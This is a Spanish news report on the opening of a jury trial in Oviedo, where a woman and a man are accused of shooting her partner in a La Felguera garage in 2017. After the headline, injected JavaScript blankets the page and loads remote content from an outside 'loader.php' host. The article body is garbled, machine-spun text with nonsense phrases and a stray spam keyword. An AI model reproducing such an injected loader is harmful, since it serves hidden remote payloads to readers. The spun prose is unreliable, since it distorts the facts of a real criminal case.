Arranca el proceso por el crimen de un varon en Langreo (Asturias) en 2017, con su pareja como principal sospechosa

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

OVIEDO, 1 (EUROPA PRESS)

La Fiscalia de el Principado de Asturias solicita 27 anos de prision Con El Fin De cada Algunos de los dos acusados, la mujer y no ha transpirado un adulto, por el asesinato de un varon en un garaje de La Felguera en diciembre sobre 2017. La victima tenia 31 anos de vida.

La mirada oral, arranco este marte tras ser elegidos los miembros del Jurado, en la parte Segunda sobre la Audiencia Provincial, con sede en Oviedo, a las 09.30 horas.

El ocupacion Fiscal sostiene que la victima, residia en La Felguera en un hogar que compartia con su pareja, la acusada, con la que mantenia una conexion sentimental desde el anualidad 2007, unicamente interrumpida durante el anualidad 2012. Por motivos sobre salud, el varon se encontraba pensionado, no trabajaba asi­ como escasamente salia sobre su morada.

La acusada mantenia, paralelamente a la comunicacion con el novio, varias relaciones esporadicas sobre contenido sexual con terceras individuos. En los meses anteriores a su asesinato, inicio una trato con el acusado.

A partir del verano sobre 2017, la acusada, despues de ganarse la seguridad de el acusado, comenzo a transmitirle la necesidad de acabar con la vida sobre su pareja, aduciendo que este la maltrataba y no ha transpirado que, en el caso de que se enterara de la comunicacion que los dos mantenian, su vida estaria en peligro. Las acusados comenzaron por lo tanto an elaborar como desplazandolo hacia el pelo cuando acabar con su vida.

Mismamente, estudiaron las habitos y no ha transpirado la acusada informo al acusado de el lugar en donde su victima guardaba el coche y no ha transpirado le facilito las datos de el mismo, color, modulo, matricula, llegando hasta a desplazarse en alguna ocasion inclusive La Felguera de descubrir de primera mano el sitio y no ha transpirado las posibilidades de utilizar su plan. Previamente, los acusados habian comprado, sin que conste como, la pistola de el calibre 9 milimetros, para la que ninguno de los acusados tenia ni licencia ni guia de pertenencia.

Tomada la eleccion, el 6 sobre diciembre sobre 2017, dia previo a acabar con su vida, los acusados realizaron un primer tanteo de matarlo, de manera que, solo que la victima contacto via WhatsApp con la acusada, a las 13.10 horas, de decirle que salia a limpiar el automovil, esta, sobre manera casi inmediata, se lo comunico al acusado. Con el fin de ello, le realizo la emplazamiento sobre 54 segundos de duracion, en la cual le facilito la documentacion.

Por lo tanto, el acusado se traslado a la pueblo sobre La Felguera y se quedo, segun las antenas de telefonia, en las cercanias del garaje donde sabia por la descripcion facilitada por la novia que la victima guardaba su coche. No obstante, el intento resulto fallido, porque no consiguio encontrarse con el, a pesar sobre que le llamo al movil desde un telefono an apelativo de una conocida, que el acusado haci­a uso de impedir acontecer descubierto.

Ante la desaparicion de respuesta, cuestionarios wireclub y despues de enviarle igualmente un SMS, abandono el sitio a las 14.37 horas, falto obtener su proposito. Los acusados, decididos a matarle, desplazandolo hacia el pelo detras de el fracaso de el dia previo, decidieron regresar a comportarse el 7 de diciembre. Ese jornada, la victima envio a las 13.24 horas por WhatsApp a la acusada el mensaje “tengo k ir a ver al sobre arriba”.

Asi, siguiendo el plan primoroso, la acusada se comunico sobre manera inmediata con el acusado, el cual, la ocasii?n informado sobre la vuelta del hogar sobre la victima, a las 16.28 horas se dirigio de nuevo Incluso las proximidades del garaje, en la calle Ingeniero Fernandez Casariego sobre Langreo.

Sobre las 18.07 horas, el adulto llego al garaje a lado de su automovil. Aprovechando la apertura sobre la camino, el acusado entro en el interior de el aparcamiento y no ha transpirado, una vez que habia aparcado y se encontraba ya exteriormente del turismo, el acusado se dirigio hacia el novio asi­ como, igual que previamente habian dispuesto, le dijo que unos dias primero le habia dado un ataque a su auto.

Por lo tanto, en la ocasion en que el varon fue a encender la luz sobre su movil Con El Fin De ver el caso desperfecto, el acusado le disparo Incluso en 3 ocasiones. La victima fallecio sin que pudiera prever ni adoptar ninguna postura de resguardo o proteccii?n ante el ataque inesperado y sorpresivo hecho por el acusado.

Tras acabar con su vida, el acusado emprendio la huida hacia Oviedo, realizando una parada durante el trayecto con el fin de deshacerse de el arma, la que arrojo en algun punto dentro de La Felguera y no ha transpirado Oviedo. A lo largo de el trayecto realizo la llamada telefonica a la acusada, a las 18.42 horas. Al alcanzar a Oviedo, se reunio con la novia.

Tras matarlo, los acusados comenzaron a convivir en Oviedo. Fueron detenidos el jornada 16 sobre octubre del ano 2018. La Fiscalia considera que las fabricados son constitutivos de un delito de asesinato de el cronica 139.1.1? y sobre un delito sobre tenencia ilicita sobre armas de el 564.1.1, ambos del Codigo Penal. Concurre en la acusada 1 la eventualidad perjuicio de parentesco.

La Fiscalia solicita que se condene a cada individuo los acusados a la pena de 25 anos de vida de prision, con inhabilitacion absoluta a lo largo de el lapso de la condena, por el delito de asesinato desplazandolo hacia el pelo a 2 anos sobre prision por el delito de tenencia ilicita sobre armas, con inhabilitacion particular de el derecho sobre sufragio pasivo a lo largo de el lapso de la condena.

En concepto de compromiso civil, el ocupacion Fiscal solicita que los acusados indemnicen a las padres del fallecido con 150.000 euros y no ha transpirado a su hermano con 60.000 euros, mas las intereses legales correspondientes.